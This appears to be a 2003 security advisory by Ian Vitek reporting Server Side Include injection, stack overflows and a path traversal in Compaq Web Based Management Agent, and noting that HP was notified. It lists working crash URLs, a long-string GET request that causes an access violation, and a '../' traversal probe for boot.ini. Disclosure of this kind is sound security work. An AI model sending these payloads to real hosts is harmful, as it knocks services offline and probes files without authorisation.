compaq.txt

`SSI vulnerability in Compaq Web Based Management Agent  
======================================================  
  
Type of vulnerabilities:  
Server Side Include injection. Exploitable.  
Stack overflows and access violations. Exploitable?  
Creation of script objects. Exploitable?  
  
Affected Software: Compaq Web Based Management Agent  
Verified Platforms: Windows  
  
Background and problem description  
==================================  
Bashis (bash at wcd.se) has found several vulnerabilities  
in Compaq Web Based Management Agent. This Agent runs on  
TCP port 2301 (HTTP) or 2381 (HTTPS).  
The agent uses "tags" to run funktions at the server side.  
To list all tags:  
http://IP:2301/<!.TableDisplayTags>   
  
To crash the agent:  
http://IP:2301/<!>  
Stack overflow (0xc00000fd), Address: 0x77f0c3dc  
http://IP:2301/survey/<!>  
Stack overflow (0xc00000fd), Address: 0x10039869  
  
This crashes the agent too:  
http://IP:2301/<!.StringRedirecturl>  
Stack overflow (0xc00000fd), Address: 0x77f0c3dc  
http://IP:2301/<!.StringHttpRequest=Url>  
Stack overflow (0xc00000fd), Address: 0x77f0c3dc  
http://IP:2301/survey/<!.StringHttpRequest=Url>  
Stack overflow (0xc00000fd), Address: 0x10039869  
  
The cause could be an endless loop (the result  
contains a tag to display an URL, and the result  
contains a tag to display an URL, and the result...)  
  
More strange stack overflows:  
http://IP:2301/<!.ObjectIsapiECB>  
Stack overflow (0xc00000fd), Address: 0x77f0c3dc  
  
Many tags take input that seems vulnerable:  
http://IP:2301/<!.StringIsapiECB=lpszPathInfo>  
Stack overflow (0xc00000fd), Address: 0x77f0c3dc  
  
Netcat following:  
GET /<!.FunctionContentType=(About 250 AAAAA:s)> HTTP/1.0  
Access violation (0xc0000005), Address: 0x100368a5  
  
Check file existens. (with a nice 'input box')  
http://IP:2301/<!.DebugSearchPaths>?Url=%2F..%2F..%2F..%2F..%2Fboot.ini  
  
It looks like you could create script objects.  
Check the tags with <!.TableDisplayTags>. Some of the  
CreateObject tags has the parameter 'script'.  
I don't know if it could be done though.  
  
Is this just another remote DoS?  
  
I have mailed HP ([email protected]) and got an automated  
response 28/5 2003.  
  
If someone want to forward this mail they may do so.  
  
To all of my friends; See you in Vegas!  
The Swedes are comming.  
//Ian Vitek  
  
`